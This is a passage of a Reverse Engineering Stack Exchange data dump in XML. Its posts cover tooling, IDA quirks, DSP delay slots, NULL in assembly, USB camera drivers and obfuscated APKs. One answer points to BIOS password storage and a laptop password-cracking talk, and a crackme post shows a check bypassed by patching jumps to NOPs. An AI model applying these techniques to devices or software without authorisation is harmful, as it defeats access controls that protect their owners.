are other tools or better ones, i would really love to learn from your input to improve myself and gain new skills).&lt;/p&gt;&#xA;&lt;p&gt;on a side note, i know that dynamorio is being used on winafl and other fork, but it seems quite old, so i was wondering if there's something newer with lower overheads for vulnerability research/malware analysis purposes.&lt;/p&gt;&#xA;&lt;p&gt;on a side note, i tried to check several conferences for notes and talks regarding the issue, but i saw that every year there seems to be something new, and a few months later something newer, so i am wondering, what is the current &amp;quot;cool toy&amp;quot; of 2020?&lt;/p&gt;&#xA;&lt;p&gt;would love to learn from your inputs and study what you mentioned to improve my knowledge base. thank you very much&lt;/p&gt;&#xA;" OwnerUserId="35099" LastActivityDate="2020-12-02T22:40:51.933" Title="modern instrumentation for reversing and researching" Tags="|tools|function-hooking|instrumentation|injection|" AnswerCount="1" CommentCount="0" ClosedDate="2020-12-14T15:39:34.783" ContentLicense="CC BY-SA 4.0" />
  <row Id="26422" PostTypeId="2" ParentId="26421" CreationDate="2020-12-02T22:40:51.933" Score="1" Body="&lt;p&gt;Some may favor &lt;a href=&quot;https://miasm.re/blog/&quot; rel=&quot;nofollow noreferrer&quot;&gt;miasm&lt;/a&gt; over other frameworks (see for instance the &lt;a href=&quot;https://raw.githubusercontent.com/malrev/ABD/master/Advanced-Binary-Deobfuscation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced Binary Deobfuscation&lt;/a&gt;  material). Examples:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.randhome.io/blog/2020/04/04/analyzing-shellcodes-with-miasm-for-fun-and-profit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Analyzing Shellcodes with Miasm for Fun and Profit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://miasm.re/blog/2016/09/03/zeusvm_analysis.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ZeusVM analysis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/qilingframework/qiling&quot; rel=&quot;nofollow noreferrer&quot;&gt;Qiling emulator&lt;/a&gt; has been used for binary analysis and in conjunction with AFL++. Examples:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://labs.sentinelone.com/moving-from-dynamic-emulation-of-uefi-modules-to-coverage-guided-fuzzing-of-uefi-firmware/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Moving From Dynamic Emulation of UEFI Modules To Coverage-Guided Fuzzing of UEFI Firmware&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pwnage.io/pe-code-coverage-emulation-qiling/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE Emulation With Code Coverage Using Qiling and Dragon Dance&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2020-12-02T22:40:51.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26423" PostTypeId="1" CreationDate="2020-12-03T01:04:24.023" Score="2" ViewCount="247" Body="&lt;p&gt;I am trying to rename a function address in IDA (free) and it says that the name I picked already exists in the database (Error Code: 8727B0) ... but the provided name does not show in the functions window (filtered to check) or the names window (Shift+F4). The name is valid it's just &amp;quot;my_func&amp;quot; without quotes.&lt;/p&gt;&#xA;&lt;p&gt;Is this normal behavior to say a name exists but does not? Is there a way to manually edit the IDA database file(s) to fix this issue. It should not be reporting invalid errors.&lt;/p&gt;&#xA;" OwnerUserId="35101" LastEditorUserId="245" LastEditDate="2020-12-03T08:47:53.713" LastActivityDate="2021-05-03T00:06:20.563" Title="IDA - Rename Address/Function: Says name exists already but it does not show up anywhere" Tags="|ida|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26426" PostTypeId="1" CreationDate="2020-12-03T05:07:57.133" Score="-1" ViewCount="113" Body="&lt;p&gt;I'm working on a CTF challenge that is find a secret password.This secret password base on the username and password that i input and the hash value had print out after hash calculation and i want to capture this hash value at a parameter to my script to calculate the secret pass&#xA;Can someone tell me how can i do it or another solution to solve my problem&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="34877" LastActivityDate="2020-12-03T06:19:28.963" Title="can a stdout captured at a parameter to python script" Tags="|linux|python|injection|script|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26427" PostTypeId="2" ParentId="26426" CreationDate="2020-12-03T06:19:28.963" Score="0" Body="&lt;p&gt;It sounds like you want your python script to read from stdin.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;if not sys.stdin.isatty():&#xA;    param = sys.stdin.read()&#xA;    print(&amp;quot;param&amp;quot;,param)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To use it: &lt;code&gt;echo 'param value' | python3 script.py&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="34929" LastActivityDate="2020-12-03T06:19:28.963" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26428" PostTypeId="1" AcceptedAnswerId="26438" CreationDate="2020-12-03T08:07:39.840" Score="3" ViewCount="273" Body="&lt;p&gt;Recently I work on TMS320C6xx Arch and when I reverse this firmware I saw functions graph nodes are separated. I have shown in below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6IrZD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6IrZD.png&quot; alt=&quot;all of these nodes belong to one function&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you see, &lt;strong&gt;BRANCH OCCURS&lt;/strong&gt; wrote at the end of each node. I guess this is the reason of separation.&lt;br /&gt;&#xA;&lt;strong&gt;1- How I can correct this problem?&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;strong&gt;2- what is the problem? Explanation if possible&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="31110" LastActivityDate="2021-01-18T20:04:24.513" Title="BRANCH OCCURS in IDApro" Tags="|ida|disassembly|firmware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26429" PostTypeId="1" CreationDate="2020-12-03T10:48:59.133" Score="2" ViewCount="59" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;smalivm: Provides a virtual machine sandbox for executing Dalvik methods. After executing a method, it returns a graph containing all possible register and class values for every execution path.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I want to find a static constant from a APK. Because of its use of obfuscation, the code is difficult to read. But I know that the constant is returned from a function after confusion, and I am sure that it is a fixed value. I think smalivm can find out the return value of this function, but I can't find a sample article that fully describes how smalivm is used except for &lt;a href=&quot;http://calebfenton.github.io/2016/04/30/dalvik-virtual-execution-with-smalivm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt;. This got me into trouble.&lt;/p&gt;&#xA;&lt;p&gt;I don't know much about simplify. Does simplify work equally well when not using smalivm?&lt;/p&gt;&#xA;" OwnerUserId="30014" LastActivityDate="2020-12-03T10:48:59.133" Title="How to use smalivm and simplify to find a certain static constant from APK or remove confusion?" Tags="|deobfuscation|apk|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26430" PostTypeId="2" ParentId="26418" CreationDate="2020-12-03T11:18:18.393" Score="0" Body="&lt;p&gt;You should use UEFITool to analyze the dump. The modules themselves are not encrypted and can be extracted and disassembled using any standard tool supporting PE binaries.&lt;/p&gt;&#xA;&lt;p&gt;The BIOS password implementation differs from platform to platform. In the easy case it would be somewhere in the NVRAM area on the same SPI flash, possibly obfuscated.&lt;/p&gt;&#xA;&lt;p&gt;In the difficult case it could be stored in or checked by a separate chip such as the EC (embedded controller) and you would have to dump and RE it too.&lt;/p&gt;&#xA;&lt;p&gt;There was a good talk on cracking the password for Toshiba laptops which was using the latter approach:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Hacking-Toshiba-Laptops.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Hacking-Toshiba-Laptops.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-03T11:18:18.393" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26431" PostTypeId="2" ParentId="26415" CreationDate="2020-12-03T11:30:23.270" Score="0" Body="&lt;p&gt;ARM7 cores use classic architecture with the exception vectors at the start of the binary (usually mapped at 0), so you can start with the defaults, start disassembling and if the addresses look wrong, rebase the image afterwards.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-03T11:30:23.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26433" PostTypeId="2" ParentId="21131" CreationDate="2020-12-03T16:43:54.417" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Search the unknown binary file for the PNG magic number &lt;code&gt;89 50 4E 47 .PNG&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Determine size of the embedded PNG&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Search unknown binary file for that size as a binary integer.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Replace PNG and size as appropriate in unknown binary file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="34929" LastActivityDate="2020-12-03T16:43:54.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26434" PostTypeId="1" CreationDate="2020-12-03T17:26:55.110" Score="5" ViewCount="2473" Body="&lt;p&gt;(This question refers to assembly language.)  I'm a little bit confused.  I've encountered many times Windows functions that are supposed to return a Handle, and if they don't they return NULL.  Why do the checks afterward check against zero?  Zero isn't equal to NULL.&lt;/p&gt;&#xA;&lt;p&gt;As an example:&#xA;GetModuleHandleA:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/k0zxU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k0zxU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34569" LastEditorUserId="35133" LastEditDate="2020-12-09T12:40:05.220" LastActivityDate="2020-12-09T12:40:05.220" Title="Is Null in Windows equal to zero?" Tags="|ida|disassembly|malware|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26435" PostTypeId="2" ParentId="26434" CreationDate="2020-12-03T17:44:00.807" Score="13" Body="&lt;p&gt;In C, and many other low-level programming languages the term &lt;code&gt;NULL&lt;/code&gt; is equivalent to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The C standard requires NULL to be &lt;code&gt;#define&lt;/code&gt;d to an &amp;quot;implementation defined value&amp;quot;, however all implementations have chosen (for obvious reasons) to use &lt;code&gt;0&lt;/code&gt; for that purpose. For that reason if you'll attempt to &amp;quot;See definition&amp;quot; for &lt;code&gt;NULL&lt;/code&gt;, many IDEs will drop you in a line &lt;code&gt;#define NULL 0&lt;/code&gt; or something similar.&lt;/p&gt;&#xA;&lt;p&gt;This has the additional benefit of &lt;code&gt;NULL&lt;/code&gt; evaluating to &lt;code&gt;false&lt;/code&gt; making conditional statements readable and intuitive.&lt;/p&gt;&#xA;&lt;p&gt;The proper way, from a strict standard following perspective, would be to use &lt;code&gt;NULL&lt;/code&gt; and not 0, and that's what most developers do. The compiler (or pre-processor in the case of &lt;code&gt;#define NULL 0&lt;/code&gt;) will however translate that to a &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Some higher level languages (such as javascript and C++) use special expressions to signify null. One example is C++'s &lt;code&gt;nullptr&lt;/code&gt;, that since C++11 is the required definition of &lt;code&gt;NULL&lt;/code&gt;. Javascript uses a special object, &lt;code&gt;null&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2020-12-03T17:44:00.807" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26436" PostTypeId="2" ParentId="26423" CreationDate="2020-12-03T22:57:09.840" Score="1" Body="&lt;p&gt;The namespace in IDA database includes not only names in disassembly but also structs and enums, so check there too&lt;/p&gt;&#xA;&lt;p&gt;Additionally, not all names are included in the name list (you can uncheck “include in name list” on rename). However, jumping to it using  G shortcut should work.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-03T22:57:09.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26437" PostTypeId="2" ParentId="26434" CreationDate="2020-12-03T23:01:14.003" Score="6" Body="&lt;p&gt;When looking at Windows API calls or disassembly of C/C++ code, NULL Is always 0, in Visual Studio this is defined in vcruntime.h&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#ifndef NULL&#xA;    #ifdef __cplusplus&#xA;        #define NULL 0&#xA;    #else&#xA;        #define NULL ((void *)0)&#xA;    #endif&#xA;#endif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However if you are looking at higher level languages NULL will not necessarily be zero, for example within .NET C# code like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (args == null)&#xA;{&#xA;    Console.WriteLine(&amp;quot;null!&amp;quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Will compile to Common Intermediate Language (CIL). You can see with &lt;strong&gt;ldnull&lt;/strong&gt; null is not simply zero.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;IL_0001: ldarg.0&#xA;IL_0002: ldnull&#xA;IL_0003: ceq&#xA;IL_0005: stloc.0&#xA;IL_0006: ldloc.0&#xA;IL_0007: brfalse.s IL_0016&#xA;IL_000a: ldstr &amp;quot;null!&amp;quot;&#xA;IL_000f: call void [mscorlib]System.Console::WriteLine(string)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-12-03T23:01:14.003" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26438" PostTypeId="2" ParentId="26428" CreationDate="2020-12-04T01:41:58.603" Score="5" Body="&lt;p&gt;There is no problem, the comment is simply informational.&lt;/p&gt;&#xA;&lt;p&gt;The TMS320C6 is a DSP and like many DSPs the architecture is optimized for fast data processing. In particular, it has a very deep pipeline and the branches have not one or two, but up to &lt;strong&gt;five&lt;/strong&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Delay_slot&quot; rel=&quot;noreferrer&quot;&gt;delay slots&lt;/a&gt;. You can see that after the &lt;code&gt;B .S2X A3&lt;/code&gt; instruction there are five other instructions before the comment “BRANCH OCCURS” (in one case the fifth instruction is parallel/dual which is denoted by the &lt;code&gt;||&lt;/code&gt; symbol). &lt;em&gt;All&lt;/em&gt; these instructions are executed before the execution begins at the destination (A3 register value).&lt;/p&gt;&#xA;&lt;p&gt;Because the register can in theory have any value, IDA did not print the destination address unlike the other cases.&lt;/p&gt;&#xA;&lt;p&gt;BTW I would recommend looking at the disassembly for this processor in text (flat) mode since graphs may not always look nice with such deep delay slots.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-04T01:41:58.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26439" PostTypeId="1" CreationDate="2020-12-04T12:51:32.353" Score="2" ViewCount="1131" Body="&lt;p&gt;I have a piece of proprietary hardware that I'm trying to reverse engineer and write a cross-platform open-source driver for. This device has an IR camera on it, and it seems to be using the UVC protocol. On linux, de device is exposed as a /dev/video0 camera, and although it doesn't show up in any webcam-based application, I can use OpenCV to pull frames from it.&lt;/p&gt;&#xA;&lt;p&gt;On Windows, it is a bit more obfuscated. The camera doesn't show up in any application, and only the devices' Windows-only proprietary driver can interface with it. In Device Manager the device shows up under 'Imaging devices' and it uses the &lt;code&gt;ksthunk.sys&lt;/code&gt; and &lt;code&gt;usbvideo.sys&lt;/code&gt; drivers.&lt;/p&gt;&#xA;&lt;p&gt;I've tried everything I could think of to pull frames off of the camera, but every attempt failed. First of all, I've tried connecting to it with OpenCV, but i couldn't find the right device id. I've even tried brute-forcing the device id by trying to connect to every possible number within a huge interval, but no luck.&lt;/p&gt;&#xA;&lt;p&gt;I've also tried using some low-level uvc debugging tools from the Windows SDK (GraphEdit and KsStudio) but none of them could connect to the camera.&lt;/p&gt;&#xA;&lt;p&gt;One thing I did notice is that actual webcams have registry keys &lt;code&gt;FilterData&lt;/code&gt; and &lt;code&gt;MSCameraFlags&lt;/code&gt; in &lt;code&gt;HKLM\CurrentControlSet\Control\DeviceClasses\{e5323777-f976-4f5b-9b55-b94699c46e44}\##?#USB#VID_045E&amp;amp;PID_0766&amp;amp;MI_00#6&amp;amp;1d047af0&amp;amp;0&amp;amp;0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\#global\Device Parameters&lt;/code&gt;, while this device doesn't. The value &lt;code&gt;FilterData&lt;/code&gt; seems to contain values regarding resolution and image compression, so the lack of this key in my device's registry might have something to do with windows not seeing it as a webcam.&lt;/p&gt;&#xA;&lt;p&gt;Obviously the device's developers did something to make sure the camera doesn't show up as a regular webcam, because it is not meant to be used as such.&lt;/p&gt;&#xA;&lt;p&gt;My ultimate goal is to be able to use the IR camera from OpenCV in my own software, but I have no idea how to get started with proper reverse engineering of the device.&lt;/p&gt;&#xA;" OwnerUserId="34443" LastActivityDate="2021-02-03T01:00:20.067" Title="Where to get started with reverse engineering a usb video device on Windows?" Tags="|windows|linux|usb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26440" PostTypeId="2" ParentId="26439" CreationDate="2020-12-04T15:49:57.683" Score="1" Body="&lt;p&gt;First, try to identify the components of the device. If it's cheap, buy a second one and crack it open.&lt;/p&gt;&#xA;&lt;p&gt;Look for specifications and find similar devices which have the same specs. It's not like this device is the only one on the planet with that imaging sensor. That may help you find a compatible driver or spec from which to start your implementation.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like the device isn't presenting itself as a camera. There's nothing that says a USB camera has to declare itself to be one. My USB keyboard could claim to not be a USB keyboard.&lt;/p&gt;&#xA;&lt;p&gt;Can you write a virtual webcam driver which acts as a proxy? Setup fake/ approximate registry entries and proxy data directly to the device?&lt;/p&gt;&#xA;&lt;p&gt;How about just creating a registry entry approximate to what it should be? You likely know the parameters from OpenCV.&lt;/p&gt;&#xA;&lt;p&gt;I take it from your post, you need to use this device on windows?&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2020-12-04T17:10:38.163" LastActivityDate="2020-12-04T17:10:38.163" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26441" PostTypeId="1" CreationDate="2020-12-04T15:50:16.763" Score="1" ViewCount="1026" Body="&lt;p&gt;Electron apps nowadays seem to have a &lt;code&gt;snapshot_blob.bin&lt;/code&gt; and a &lt;code&gt;v8_context_snapshot.bin&lt;/code&gt;. I am having a hard time trying to find specification of this file type. It doesn't match with &lt;code&gt;.wasm&lt;/code&gt;. Files may be platform / CPU architecture specific binaries (and may vary depending on the platform) but I am not sure. They have no typical entry point like a normal PE.&lt;/p&gt;&#xA;&lt;p&gt;Any advice on reverse engineering these snapshot data blob binary files would be appreciated! I am actually looking for a tool like x64dbg or IDA Pro but also thinking of making a similar debugger by myself if there isn't any available. However, the file specs are needed first. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="35127" LastActivityDate="2021-10-07T14:52:38.460" Title="How to reverse engineer Electron V8 Snapshot Data Blobs?" Tags="|disassembly|websites|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26442" PostTypeId="2" ParentId="26434" CreationDate="2020-12-04T17:17:08.627" Score="6" Body="&lt;p&gt;ISO C and C++ &lt;em&gt;allow&lt;/em&gt; implementations to use a non-zero bit-pattern as the object representation for a null pointer, despite &lt;a href=&quot;https://stackoverflow.com/questions/9894013/is-null-always-zero-in-c&quot;&gt;requiring&lt;/a&gt; that a literal &lt;code&gt;0&lt;/code&gt; or &lt;code&gt;(void*)0&lt;/code&gt; in the source (in a pointer context) is evaluated as a null pointer, equivalent to &lt;code&gt;NULL&lt;/code&gt;.  &lt;strong&gt;Reasoning based on source definitions like &lt;code&gt;#define NULL 0&lt;/code&gt; is &lt;em&gt;not&lt;/em&gt; sufficient in C or C++.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;But fortunately for everyone's sanity, all modern C and C++ implementations for x86 (and other modern ISAs) &lt;em&gt;do&lt;/em&gt; use &lt;code&gt;0&lt;/code&gt; in asm as the bit-pattern for NULL.&lt;/strong&gt;  This makes non-portable code like &lt;code&gt;memset(ptr_array, 0, size)&lt;/code&gt; work as expected, equivalent to a loop that sets each element to &lt;code&gt;NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/2597142/when-was-the-null-macro-not-0&quot;&gt;When was the NULL macro not 0?&lt;/a&gt; is asking about source-level non-zero definitions, but I think that's not allowed in modern C.  The answers mention several historical machines that had non-zero null pointer bit-patterns.  (i.e. what you'd see in the asm for code like &lt;code&gt;do {...} while(p = p-&amp;gt;next);&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Remember that in asm, pointers are just 64-bit (or 32-bit) integers&lt;/strong&gt;.  The whole idea of &lt;code&gt;NULL&lt;/code&gt; is in-band signalling, not some special thing that isn't even a pointer-sized integer.  So we have to pick some constant.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;0&lt;/code&gt; is a convenient sentinel value because many ISAs can branch slightly more efficiently on a value being non-zero than checking for any other value.  e.g. ARM has &lt;code&gt;cbnz&lt;/code&gt; to branch on non-zero without needing a &lt;code&gt;cmp&lt;/code&gt;.  x86 has a minor code-size optimization of &lt;code&gt;test eax, eax&lt;/code&gt; / &lt;code&gt;jnz&lt;/code&gt; instead of &lt;code&gt;cmp eax, 0&lt;/code&gt; / &lt;code&gt;jnz&lt;/code&gt;.  (&lt;a href=&quot;https://stackoverflow.com/questions/33721204/test-whether-a-register-is-zero-with-cmp-reg-0-vs-or-reg-reg/33724806#33724806&quot;&gt;Test whether a register is zero with CMP reg,0 vs OR reg,reg?&lt;/a&gt;).  If FLAGS are already set by another arithmetic instruction, no &lt;code&gt;test&lt;/code&gt; would be needed, but that's unusual for null pointer tests: usually you don't do math on a pointer and &lt;em&gt;then&lt;/em&gt; for NULL.&lt;/p&gt;&#xA;&lt;p&gt;(You're not seeing that optimization in your asm because your debug build stores to memory before testing.)&lt;/p&gt;&#xA;&lt;p&gt;Also, &lt;code&gt;0&lt;/code&gt; is easy to generate.  Some large number might take a larger instruction, or most instructions, to create in a register.  (e.g. x86 &lt;a href=&quot;https://stackoverflow.com/questions/33666617/what-is-the-best-way-to-set-a-register-to-zero-in-x86-assembly-xor-mov-or-and&quot;&gt;&lt;code&gt;xor eax,eax&lt;/code&gt;&lt;/a&gt; instead of &lt;code&gt;mov eax, imm32&lt;/code&gt;).  And zero-initialized static storage like &lt;code&gt;static int *table = NULL;&lt;/code&gt; can be in the BSS instead of &lt;code&gt;.data&lt;/code&gt; - modern systems zero-init the BSS.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;On some systems (especially embedded) the &lt;code&gt;0&lt;/code&gt; address isn't special, and you actually have system-management stuff there, like the start of a table of interrupt handlers.  So &lt;code&gt;0&lt;/code&gt; can be a valid address, as well as being equal to &lt;code&gt;NULL&lt;/code&gt;.  This kinda sucks, so this is where one might actually want a non-zero object representation for null pointers.  @Simon Richter &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/26434/does-null-in-windows-equal-to-zero/26442#comment40961_26435&quot;&gt;comments&lt;/a&gt; about hacking an ARM compiler to use &lt;code&gt;0x20000000&lt;/code&gt; as the NULL bit-pattern.&lt;/p&gt;&#xA;&lt;p&gt;On systems using virtual memory (like Windows), we can simply avoid ever mapping the page containing that address, which helps detect bugs by making sure NULL-dereference actually faults.  (Remember that undefined behaviour in C and C++ is &lt;em&gt;not&lt;/em&gt; required to fault, but it's certainly convenient if it does.)&lt;/p&gt;&#xA;" OwnerUserId="13014" LastEditorUserId="13014" LastEditDate="2020-12-04T17:29:37.330" LastActivityDate="2020-12-04T17:29:37.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26443" PostTypeId="1" CreationDate="2020-12-04T23:28:14.613" Score="1" ViewCount="263" Body="&lt;p&gt;Just as a preface, this is a crackme from &lt;code&gt;https://hack.ainfosec.com/&lt;/code&gt;. I know you can submit these as part of a job app, I have no intentions of doing that. Very happy to have a job in a related, but different field as this is not my strong suit (go figure).&lt;/p&gt;&#xA;&lt;p&gt;Also, I have solved this crackme via a different method (changing the MAC on my NIC to what the executable was expecting). I want to further solve this so that I don't have to bend my system to the program's will, but the other way around instead.&lt;/p&gt;&#xA;&lt;p&gt;This is my already-modified version of the getFlag function.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400b8d]&amp;gt; pdf&#xA;            ; CALL XREF from sym.generateSentence @ 0x400db0&#xA;┌ 161: sym.getFlag ();&#xA;│           ; var void *ptr @ rbp-0x10&#xA;│           ; var int64_t var_8h @ rbp-0x8&#xA;│           0x00400b8d      55             push rbp&#xA;│           0x00400b8e      4889e5         mov rbp, rsp&#xA;│           0x00400b91      4883ec10       sub rsp, 0x10&#xA;│           0x00400b95      b800000000     mov eax, 0&#xA;│           0x00400b9a      e87d050000     call sym.getMac&#xA;│           0x00400b9f      488945f0       mov qword [ptr], rax&#xA;│           0x00400ba3      48837df000     cmp qword [ptr], 0&#xA;│       ┌─&amp;lt; 0x00400ba8      eb0a           jmp 0x400bb4&#xA;..&#xA;│      ││   ; CODE XREF from sym.getFlag @ 0x400ba8&#xA;│      │└─&amp;gt; 0x00400bb4      488b45f0       mov rax, qword [ptr]&#xA;│      │    0x00400bb8      488d3572f40a.  lea rsi, qword str.de:ad:be:ef:fa:ce ; 0x4b0031 ; &amp;quot;de:ad:be:ef:fa:ce&amp;quot;&#xA;│      │    0x00400bbf      4889c7         mov rdi, rax&#xA;│      │    0x00400bc2      e809f9ffff     call fcn.004004d0&#xA;│      │    0x00400bc7      85c0           test eax, eax&#xA;│      │    0x00400bc9      90             nop&#xA;│      │    0x00400bca      90             nop&#xA;│      │    0x00400bcb      0fb60564a12d.  movzx eax, byte [obj.user_seed] ; [0x6dad36:1]=0&#xA;│      │    0x00400bd2      84c0           test al, al&#xA;│      │    0x00400bd4      90             nop&#xA;│      │    0x00400bd5      90             nop&#xA;│      │    0x00400bd6      488d3d66f40a.  lea rdi, qword str.You_win  ; 0x4b0043 ; &amp;quot;You win!&amp;quot; ; const char *s&#xA;│      │    0x00400bdd      e8be130100     call sym.puts               ; int puts(const char *s)&#xA;│      │    0x00400be2      488b45f0       mov rax, qword [ptr]&#xA;│      │    0x00400be6      4889c6         mov rsi, rax&#xA;│      │    0x00400be9      488d3d5cf40a.  lea rdi, qword str.Mac_Address:__s ; 0x4b004c ; &amp;quot;Mac Address: %s\n&amp;quot;&#xA;│      │    0x00400bf0      b800000000     mov eax, 0&#xA;│      │    0x00400bf5      e8a6040100     call sym.__printf&#xA;│      │    0x00400bfa      488b45f0       mov rax, qword [ptr]&#xA;│      │    0x00400bfe      4889c7         mov rdi, rax&#xA;│      │    0x00400c01      e8faf8ffff     call fcn.00400500&#xA;│      │    0x00400c06      89c2           mov edx, eax&#xA;│      │    0x00400c08      488b45f0       mov rax, qword [ptr]&#xA;│      │    0x00400c0c      89d1           mov ecx, edx                ; int64_t arg4&#xA;│      │    0x00400c0e      4889c2         mov rdx, rax                ; int64_t arg3&#xA;│      │    0x00400c11      be11000000     mov esi, 0x11               ; 17 ; signed int64_t arg2&#xA;│      │    0x00400c16      488d3d03f40a.  lea rdi, qword obj.FLAG     ; 0x4b0020 ; int64_t arg1&#xA;│      │    0x00400c1d      e877040000     call sym.xorencrypt&#xA;│      │    0x00400c22      488945f8       mov qword [var_8h], rax&#xA;│      │    0x00400c26      488b45f0       mov rax, qword [ptr]&#xA;│      │    0x00400c2a      4889c7         mov rdi, rax                ; void *ptr&#xA;│      │    0x00400c2d      e8de0f0200     call sym.__free&#xA;│      │    0x00400c32      488b45f8       mov rax, qword [var_8h]&#xA;│      │    ; CODE XREF from sym.getFlag @ +0x22&#xA;│      └──&amp;gt; 0x00400c36      c9             leave&#xA;└           0x00400c37      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would like to modify the input for the xorencrypt function to &amp;quot;de:ad:be:ef:fa:ce&amp;quot;, instead of my actual MAC address, which I believe is identified as var_8h. I am sure there's a way to move the value at &lt;code&gt;0x4b0031 